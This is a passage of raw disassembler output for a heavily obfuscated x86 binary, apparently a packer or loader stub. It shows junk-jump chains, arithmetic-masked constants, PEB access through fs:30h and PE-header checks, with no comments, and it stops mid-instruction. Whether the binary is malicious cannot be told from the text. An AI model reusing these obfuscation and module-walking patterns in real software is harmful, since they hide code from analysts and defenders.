sub_424F83 proc near ; CODE XREF: wto1jq8f:loc_42B96Bp ; FUNCTION CHUNK AT 004290B8 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx ror eax, 19h push eax jmp loc_4290B8 sub_424F83 endp ; --------------------------------------------------------------------------- loc_424F90: ; CODE XREF: wto1jq8f:004245EFj and ecx, 51A02D04h mov edi, ecx jmp loc_4264DE ; --------------------------------------------------------------------------- loc_424F9D: ; CODE XREF: wto1jq8f:0042ED13j jz loc_42F17A jmp loc_42DFF7 ; --------------------------------------------------------------------------- loc_424FA8: ; CODE XREF: wto1jq8f:00424106j jg loc_42D47E jmp loc_42910D ; --------------------------------------------------------------------------- loc_424FB3: ; DATA XREF: sub_4269FD+7756o mov eax, [eax] add eax, [ebp-4] add eax, 5 cmp eax, ds:dword_42A748 jz loc_4245A1 ; START OF FUNCTION CHUNK FOR sub_4269FD loc_424FC7: ; CODE XREF: sub_424232+4j ; sub_424702+4j call sub_425944 loc_424FCC: ; CODE XREF: wto1jq8f:00428D2Dj jmp loc_42FEB8 ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_424FD1: ; CODE XREF: sub_426535:loc_426129j mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42E3EA ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- locret_424FDC: ; CODE XREF: wto1jq8f:loc_429977j retn ; --------------------------------------------------------------------------- loc_424FDD: ; CODE XREF: wto1jq8f:00425D80j jmp locret_42600C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_424FE2: ; CODE XREF: sub_42DC5C-1A29j mov ebx, ebp loc_424FE4: ; CODE XREF: sub_42DC5C:loc_42DD22j mov eax, large fs:30h add eax, 0AA6D43A0h add eax, 5592BC6Ch mov eax, [eax] call sub_427203 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_424FFE proc near ; DATA XREF: sub_42E83D-222Co xchg esi, [esp+0] lea eax, [ebp-1C8h] push eax push edi push 99A4AE50h pop edi push offset dword_42F384 jmp nullsub_63 sub_424FFE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_425019: ; CODE XREF: sub_42CB49-4662j cdq jmp loc_426CD2 ; END OF FUNCTION CHUNK FOR sub_42CB49 ; =============== S U B R O U T I N E ======================================= sub_42501F proc near ; DATA XREF: sub_42E555+4o ; FUNCTION CHUNK AT 0042A960 SIZE 00000005 BYTES mov esp, ebp xchg eax, [esp+0] mov ebp, eax pop eax call near ptr sub_428E81 loc_42502C: ; CODE XREF: wto1jq8f:loc_4295F9j add eax, 0F24B452Ah push eax push 4C91A0h push offset dword_429CA8 jmp loc_42A960 sub_42501F endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_425042: ; CODE XREF: wto1jq8f:loc_429566j retn ; --------------------------------------------------------------------------- loc_425043: ; CODE XREF: wto1jq8f:00427F3Fj jp loc_4263A7 jmp loc_424934 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42504E: ; CODE XREF: sub_426535:loc_42B4E8j cmp dword ptr [ebp-4], 5 jnz loc_424934 lea eax, [ebp-2AAh] cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_429603 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42506F proc near ; DATA XREF: sub_42DB52:loc_426492o xor eax, eax mov [ebp-8], eax sub_42506F endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_425074: ; CODE XREF: sub_42D9FC:loc_42C579j ; sub_42D9FC+4j jo loc_42D5A3 push 8697BA5Ah pop eax jmp loc_429AB6 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- loc_425085: ; CODE XREF: wto1jq8f:00428DFFj rol edx, 4 add edx, 0A6868104h push 42FC90h jmp locret_42BA00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_425098: ; CODE XREF: sub_42A909:loc_4285D5j jnz loc_42E823 jmp loc_42C58A ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_4250A3: ; CODE XREF: sub_427D00-3737j pop esi xchg edi, [ebp+0] jmp loc_42E6AA ; END OF FUNCTION CHUNK FOR sub_427D00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B565 loc_4250AC: ; CODE XREF: sub_42B565-AB2j cmp eax, [ebp-0Ch] ja loc_426EEE loc_4250B5: ; CODE XREF: sub_42B565:loc_42AAA4j cmp dword ptr [ebp-8], 0A22F8A70h jz loc_4250CA mov eax, [ebp-0Ch] call sub_42D765 ; END OF FUNCTION CHUNK FOR sub_42B565 ; START OF FUNCTION CHUNK FOR sub_429165 loc_4250CA: ; CODE XREF: sub_429165-478Bj ; sub_429165-425Dj ... push offset word_42D50E jmp loc_425A36 ; END OF FUNCTION CHUNK FOR sub_429165 ; =============== S U B R O U T I N E ======================================= sub_4250D4 proc near ; DATA XREF: sub_4296B3+14o ; FUNCTION CHUNK AT 0042AAD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BE90 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042F4DE SIZE 00000015 BYTES mov eax, [ebp-20h] call sub_42FFDE pop ecx mov [ebp-20h], eax loc_4250E0: ; CODE XREF: wto1jq8f:00427992j ; sub_4296B3:loc_4296C0j jnz loc_42BE90 test byte ptr [ebp-7], 8 jz loc_42F4DE push offset sub_42BE7E jmp loc_42AAD4 sub_4250D4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- add eax, 2FF2FA83h jmp loc_42DA42 ; --------------------------------------------------------------------------- db 0C9h, 13h, 9Ch dword_425108 dd 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h ; DATA XREF: sub_4244EA+4r ; wto1jq8f:00426887r ... dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 401h, 4 dup(2), 0C0h, 40h, 0 dd 23h dup(1), 2 dup(2), 4 dup(0) dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1) dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h) dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h) dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h dd 0A00h, 60h, 1A00h, 4 dup(1), 0 dd 1, 2 dup(0) dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2), 9466E9h, 62278A00h dd 4 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h) dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h) dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h) dd 3 dup(1), 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2) dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2) dd 1, 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2) dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2 dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2) dd 1, 8319E9h, 384BE900h, 5C10000h, 0 byte_425920 db 0 ; DATA XREF: sub_42A8ED:loc_42442Bw ; sub_42A8ED+10r ... db 0A6h, 85h, 0C1h dword_425924 dd 0B132749Bh, 8D192ED8h, 9EE90036h, 0E9000014h, 0FFFFF586h ; DATA XREF: wto1jq8f:0042BD5Do ; sub_42A8ED+2A92o dd 82D0D581h, 0E953D567h, 846h ; =============== S U B R O U T I N E ======================================= sub_425944 proc near ; CODE XREF: wto1jq8f:004240B4j ; sub_4269FD:loc_424FC7p arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 004245A1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042617A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426ABA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427AF9 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00429A1D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CBBC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E53C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E563 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E882 SIZE 00000005 BYTES xchg ebx, [esp-0Ch+arg_8] pop ebx jnz loc_427AF9 mov eax, [ebp-4] call sub_429A28 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_42E882 sub_425944 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425962 proc near ; DATA XREF: sub_427143:loc_42AC78o pop ebp retn sub_425962 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_425964: ; CODE XREF: wto1jq8f:0042759Dj jmp near ptr sub_42CB36 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DECB loc_42596A: ; CODE XREF: sub_42DECB+Cj jmp loc_42D900 ; END OF FUNCTION CHUNK FOR sub_42DECB ; =============== S U B R O U T I N E ======================================= sub_42596F proc near ; CODE XREF: sub_42A197-56D9p ; sub_42CBD1:loc_426B5Dp ... ; FUNCTION CHUNK AT 0042846C SIZE 00000006 BYTES js sub_426950 push ebp call sub_42E0FD loc_42597B: ; CODE XREF: sub_426950-565j jmp loc_42846C sub_42596F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_425981: ; CODE XREF: wto1jq8f:0042ED22j jmp loc_427057 ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: wto1jq8f:0042BDC7j cmp esi, ebp jmp loc_42DE81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42408D loc_42598D: ; CODE XREF: sub_42408D:loc_428EEFj mov esp, ebp pop ebp push offset sub_42D496 jmp nullsub_73 ; END OF FUNCTION CHUNK FOR sub_42408D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp locret_429CF6 ; --------------------------------------------------------------------------- loc_4259A0: ; DATA XREF: sub_429B39+9o add eax, 0C292DB07h xchg eax, [esp] jmp loc_42995F ; --------------------------------------------------------------------------- loc_4259AE: ; CODE XREF: wto1jq8f:loc_42B1FAj jz loc_425C9C jmp loc_42C470 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_4259B9: ; CODE XREF: sub_427D82+4j mov esp, ebp pop ebp mov eax, ds:dword_42E538 or eax, eax jnz loc_427A18 jmp loc_42EC34 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- xor esi, 0D0B9DDBAh shl eax, 4 jmp sub_42D22D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C0C loc_4259DD: ; CODE XREF: sub_428C0C-3D2Aj mov eax, [ebp-8] shl eax, 0Fh add [ebp-8], eax mov eax, [ebp-8] mov esp, ebp pop ebp jmp nullsub_135 ; END OF FUNCTION CHUNK FOR sub_428C0C ; --------------------------------------------------------------------------- shl ecx, 12h jmp loc_427674 ; --------------------------------------------------------------------------- loc_4259F9: ; CODE XREF: wto1jq8f:00426E3Ej and ebx, 3DAE95FBh ; =============== S U B R O U T I N E ======================================= sub_4259FF proc near ; CODE XREF: sub_42DC5C-17DBp arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 00426B93 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A545 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx sbb eax, edx pop edx pop ecx pop eax pop ebx jmp loc_42A545 sub_4259FF endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_425A0F: ; CODE XREF: sub_424406+4DF5j jmp loc_42EE38 ; END OF FUNCTION CHUNK FOR sub_424406 ; --------------------------------------------------------------------------- or edi, edx jmp sub_427203 ; --------------------------------------------------------------------------- db 81h ; db 0E1h ; á db 0F5h ; õ db 5 db 9 db 2Eh ; . db 81h ; db 0F1h ; ñ db 0D1h ; Ñ db 5 db 0 db 2Eh ; . db 0E8h ; è db 7 db 29h ; ) db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C547 loc_425A2C: ; CODE XREF: sub_42C547+CE1j jmp nullsub_142 ; END OF FUNCTION CHUNK FOR sub_42C547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_425A31: ; CODE XREF: sub_424585+1D6Bj jmp nullsub_10 ; END OF FUNCTION CHUNK FOR sub_424585 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_425A36: ; CODE XREF: sub_429165-4096j jmp nullsub_20 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D47 loc_425A3B: ; CODE XREF: sub_428D47-4025j jmp loc_427728 ; END OF FUNCTION CHUNK FOR sub_428D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_425A40: ; CODE XREF: sub_42606D+14j xor eax, 469E7F15h add eax, ebp add eax, 5287ED67h mov eax, [eax] cmp dword ptr [eax], 4550h jnz near ptr loc_42F5A7+1 jmp loc_4243F6 ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- locret_425A61: ; CODE XREF: wto1jq8f:00424166j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_425A62: ; CODE XREF: sub_42CB49+15j jmp loc_42A78A ; END OF FUNCTION CHUNK FOR sub_42CB49 ; --------------------------------------------------------------------------- loc_425A67: ; CODE XREF: wto1jq8f:004241C1j jmp loc_42E5CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A467 loc_425A6C: ; CODE XREF: sub_42A467-3137j jz loc_4247A2 jmp loc_426E30 ; END OF FUNCTION CHUNK FOR sub_42A467 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_425A78: ; CODE XREF: sub_4267AE+11j jmp loc_426C6B ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- locret_425A7D: ; CODE XREF: wto1jq8f:00427E4Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_425A7E: ; CODE XREF: sub_4240DC+3089j jmp near ptr loc_42F727+1 ; END OF FUNCTION CHUNK FOR sub_4240DC ; --------------------------------------------------------------------------- loc_425A83: ; CODE XREF: wto1jq8f:0042A9CFj mov ebx, edi xor edx, edi jmp loc_425ED2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_425A8C: ; CODE XREF: sub_426535:loc_4265DBj push esi push 0FB86F344h pop esi xor esi, 0FB86F344h jmp loc_424051 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov eax, [ebp-8] push eax mov eax, [ebp-30h] jmp loc_427CD3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425AAA proc near ; CODE XREF: sub_4266EFj push ebp mov ebp, esp jmp sub_4285AF sub_425AAA endp ; --------------------------------------------------------------------------- loc_425AB2: ; CODE XREF: wto1jq8f:0042C8F7j pop edx add edx, 0BFF24F50h loc_425AB9: ; CODE XREF: wto1jq8f:loc_42B2A2j rol edx, 17h add edx, 4D3C0B30h xchg edx, [esp] jmp loc_42CCE8 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_425ACB: ; CODE XREF: wto1jq8f:loc_42665Ej push ecx mov [esp], eax push edx loc_425AD0: ; CODE XREF: wto1jq8f:loc_42BCDBj push 2B1C946Ch pop edx jmp loc_42D595 ; --------------------------------------------------------------------------- sbb ecx, 3E57B4A0h jmp loc_42FFB5 ; --------------------------------------------------------------------------- xchg esi, [edx] sbb ebx, 870B4F13h shl eax, 14h shr ebp, 14h jmp loc_42863C ; --------------------------------------------------------------------------- loc_425AF9: ; CODE XREF: wto1jq8f:0042D1E1j ja loc_424F5F jmp loc_42A8C0 ; --------------------------------------------------------------------------- xor ebx, 1FB2E210h add ebx, 7CA0ED67h push offset loc_42EDEE jmp loc_429566 ; --------------------------------------------------------------------------- call sub_4282C1 ; START OF FUNCTION CHUNK FOR sub_426012 loc_425B1F: ; CODE XREF: sub_426012+351j jmp nullsub_103 ; END OF FUNCTION CHUNK FOR sub_426012 ; --------------------------------------------------------------------------- mov [edx], ecx cmp ecx, 331B89Fh jmp loc_4299E5 ; --------------------------------------------------------------------------- loc_425B31: ; CODE XREF: wto1jq8f:00427533j jo locret_42A728 xor eax, edi add eax, ebp cdq push 0D6420EAAh jmp loc_425E1B ; =============== S U B R O U T I N E ======================================= sub_425B46 proc near ; CODE XREF: wto1jq8f:00426323p ; wto1jq8f:0042A968j ; FUNCTION CHUNK AT 0042E57F SIZE 0000000A BYTES mov [esp+0], ebx pop ebx call sub_429165 push eax jmp loc_42E57F sub_425B46 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_425B55: ; CODE XREF: wto1jq8f:0042BAB1j test ebx, eax jmp loc_427271 ; --------------------------------------------------------------------------- locret_425B5C: ; CODE XREF: wto1jq8f:0042D181j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A7E2 loc_425B5D: ; CODE XREF: sub_42A7E2+8j jmp nullsub_48 ; END OF FUNCTION CHUNK FOR sub_42A7E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_425B62: ; CODE XREF: sub_42DC5C:loc_42E039j pop ecx push 0C04AF4C7h mov [esp-4+arg_0], ebp lea eax, [ebp-4] jmp loc_428D05 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_425B73: ; CODE XREF: wto1jq8f:loc_4271D2j jnz loc_42CD03 jmp locret_42F55E ; --------------------------------------------------------------------------- loc_425B7E: ; CODE XREF: wto1jq8f:loc_42E2F0j rol eax, 19h mov ds:dword_42E534, eax jmp locret_42B96A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B8C proc near ; CODE XREF: sub_4245B5j ; FUNCTION CHUNK AT 0042D9C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EBC0 SIZE 0000000A BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_42EBC0 sub_425B8C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D882 loc_425B97: ; CODE XREF: sub_42D882:loc_42E641j xor edx, 1D3A558Eh push edx loc_425B9E: ; CODE XREF: wto1jq8f:0042E4D5j pushf loc_425B9F: ; CODE XREF: wto1jq8f:loc_42DB8Cj push 0E2CCF7EEh pop edx add edx, 1D75FFD1h popf xchg edx, [esp+4+var_4] jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_42D882 ; =============== S U B R O U T I N E ======================================= sub_425BB4 proc near ; CODE XREF: sub_428295:loc_42E989j add esp, 0FFFFFFF0h push ecx push 0D5D140A8h pop ecx xor ecx, 0F3B1FE41h sub_425BB4 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_425BC4: ; CODE XREF: sub_42CBD1:loc_42B0DDj add ecx, 0D9E184D2h xchg ecx, [esp+0] jmp loc_426D8F ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- loc_425BD2: ; CODE XREF: wto1jq8f:0042DA30j jp loc_42D42C push 70F2BF4Ch loc_425BDD: ; CODE XREF: wto1jq8f:loc_42CBABj mov eax, [ebp-0Ch] neg eax sbb eax, eax neg eax ; --------------------------------------------------------------------------- dw 4588h ; --------------------------------------------------------------------------- sti ; START OF FUNCTION CHUNK FOR sub_427143 loc_425BE9: ; CODE XREF: sub_427143:loc_4261EEj ; wto1jq8f:004276B5j ... push offset dword_42B584 jmp loc_42D760 ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_425BF3: ; CODE XREF: sub_429BD3+382Aj call sub_42E8D0 loc_425BF8: ; CODE XREF: sub_427488+Cj jmp loc_42837A ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424DA0 loc_425BFD: ; CODE XREF: sub_424DA0+12j jmp loc_42F1AD ; END OF FUNCTION CHUNK FOR sub_424DA0 ; --------------------------------------------------------------------------- loc_425C02: ; CODE XREF: wto1jq8f:0042E9CFj jnz loc_42A117 jmp loc_42DE11 ; --------------------------------------------------------------------------- test eax, eax jl loc_4278D6 inc eax mov [ebp-1Ch], eax push offset sub_4290CF jmp loc_42735C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AE5 loc_425C23: ; CODE XREF: sub_428AE5:loc_4271DCj add edx, 0B79F8594h call sub_429165 push edi push 5B4259E3h pop edi sub edi, 0A80C762Ah jmp loc_424929 ; END OF FUNCTION CHUNK FOR sub_428AE5 ; =============== S U B R O U T I N E ======================================= sub_425C40 proc near ; CODE XREF: sub_426437p ; wto1jq8f:00428171j ; FUNCTION CHUNK AT 00427176 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A712 SIZE 00000005 BYTES mov [esp+0], esi pop esi push ebp mov ebp, esp push ecx jmp loc_42A712 sub_425C40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_425C4D: ; CODE XREF: sub_42ADC7:loc_426931j call sub_4245B5 test eax, eax jz loc_425F96 jmp loc_42B752 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; =============== S U B R O U T I N E ======================================= sub_425C5F proc near ; CODE XREF: sub_429308:loc_4241A3p ; wto1jq8f:loc_42BD8Ej xchg ecx, [esp+0] pop ecx xor ebx, 7A432D44h call near ptr sub_42B5C9 loc_425C6E: ; CODE XREF: sub_429459:loc_42C18Dj add edx, eax pop eax mov [edx], eax push offset loc_425D35 jmp nullsub_84 sub_425C5F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_425C7D: ; CODE XREF: sub_4267AE:loc_42A022j test al, al jz loc_42F168 jmp loc_42ED3C ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_425C8A: ; CODE XREF: sub_42A909+8j ; wto1jq8f:loc_42E331j jnz loc_42A93A jmp loc_42D23E ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- xchg ebx, [ecx] jmp loc_42A48B ; --------------------------------------------------------------------------- loc_425C9C: ; CODE XREF: wto1jq8f:loc_4259AEj ; wto1jq8f:0042B292j call sub_424585 mov edx, 0F75CA70h call sub_429165 push eax rol eax, 14h jmp loc_42FD66 ; --------------------------------------------------------------------------- mov edx, 20413B0Fh push ebx push 8D363E9Bh pop ebx add ebx, 730C0911h xchg ebx, [esp] jmp sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_425CCE: ; CODE XREF: sub_4240DC:loc_428106j add edx, 4942BCA2h add eax, edx pop edx push eax call sub_426456 jmp loc_42C2CD ; END OF FUNCTION CHUNK FOR sub_4240DC ; =============== S U B R O U T I N E ======================================= sub_425CE2 proc near ; DATA XREF: sub_425CE2+5D5Bo arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042778D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428F32 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00429263 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042948B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00429868 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429BEC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00429DD1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AB18 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042BA3A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042C878 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CA26 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D6E3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042E1CD SIZE 00000005 BYTES cdq jno loc_429868 add eax, [esp+0] adc edx, [esp+arg_0] call sub_4260A9 loc_425CF5: ; CODE XREF: wto1jq8f:0042A653j jmp loc_428F32 sub_425CE2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_425CFA: ; CODE XREF: sub_42E5B2-99BEj jmp sub_42E5B2 ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_425CFF: ; CODE XREF: sub_42D9FC-147Dj jz loc_427ACE jmp loc_42EB2A ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- loc_425D0A: ; DATA XREF: sub_42D9B0:loc_429628o mov eax, [ebp-8] pop ecx pop ecx loc_425D0F: ; CODE XREF: wto1jq8f:00429115j pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B35E loc_425D11: ; CODE XREF: sub_42B35E+303Dj jmp loc_42A007 ; END OF FUNCTION CHUNK FOR sub_42B35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_425D16: ; CODE XREF: sub_42D9B0:loc_42961Fj mov eax, [ebp+8] jmp loc_42F4C2 ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; --------------------------------------------------------------------------- pop edi and edi, 2CAE1696h xor edi, 0CE292AEh push offset sub_42B909 jmp loc_42B57F ; --------------------------------------------------------------------------- loc_425D35: ; DATA XREF: sub_425C5F+14o xchg edi, [esp] mov edx, edi pop edi cmp dword ptr [ebp-8], 0 jz loc_424183 jmp loc_42B60A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_425D4A: ; CODE XREF: sub_4260DB:loc_42D98Dj mov dword ptr [eax], 6C43776Fh push 0F167B38Ah pop eax and eax, 691F9306h jmp loc_426DE5 ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- loc_425D61: ; CODE XREF: wto1jq8f:0042BB53j jz nullsub_49 loc_425D67: ; CODE XREF: wto1jq8f:loc_427FC2j mov eax, [ebp-4] call sub_428183 loc_425D6F: ; CODE XREF: wto1jq8f:0042E954j jmp locret_42B284 ; --------------------------------------------------------------------------- jmp loc_42D73B ; --------------------------------------------------------------------------- loc_425D79: ; CODE XREF: wto1jq8f:004291C9j xor edx, edx push offset loc_429816 jmp loc_424FDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_425D85: ; CODE XREF: sub_426535+3270j jns sub_428A4E loc_425D8B: ; CODE XREF: wto1jq8f:loc_4261D2j push edx push 5DCD6CAAh pop edx add edx, 0A2757410h jmp loc_42B83B ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_425D9D: ; CODE XREF: sub_42760F+68D9j mov [ebp-4], eax cmp dword ptr [ebp-4], 0 push offset loc_424B2B jmp nullsub_49 ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- pushf jmp sub_428BF4 ; --------------------------------------------------------------------------- test al, al jz loc_42E1F6 jmp loc_42EE2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B31F loc_425DC1: ; CODE XREF: sub_42B31F+10j add edx, 72FEA6E2h call sub_426EA9 ; END OF FUNCTION CHUNK FOR sub_42B31F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov [ebx], ecx jmp loc_427140 ; --------------------------------------------------------------------------- loc_425DD4: ; CODE XREF: wto1jq8f:0042AAC9j push 3680FD5h pop eax add eax, 0FCDAE0C3h mov eax, [eax] or eax, eax jnz loc_426447 jmp loc_42AC4A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, large fs:0 loc_425DF7: ; CODE XREF: wto1jq8f:00425E05j ; wto1jq8f:00428CB0j js 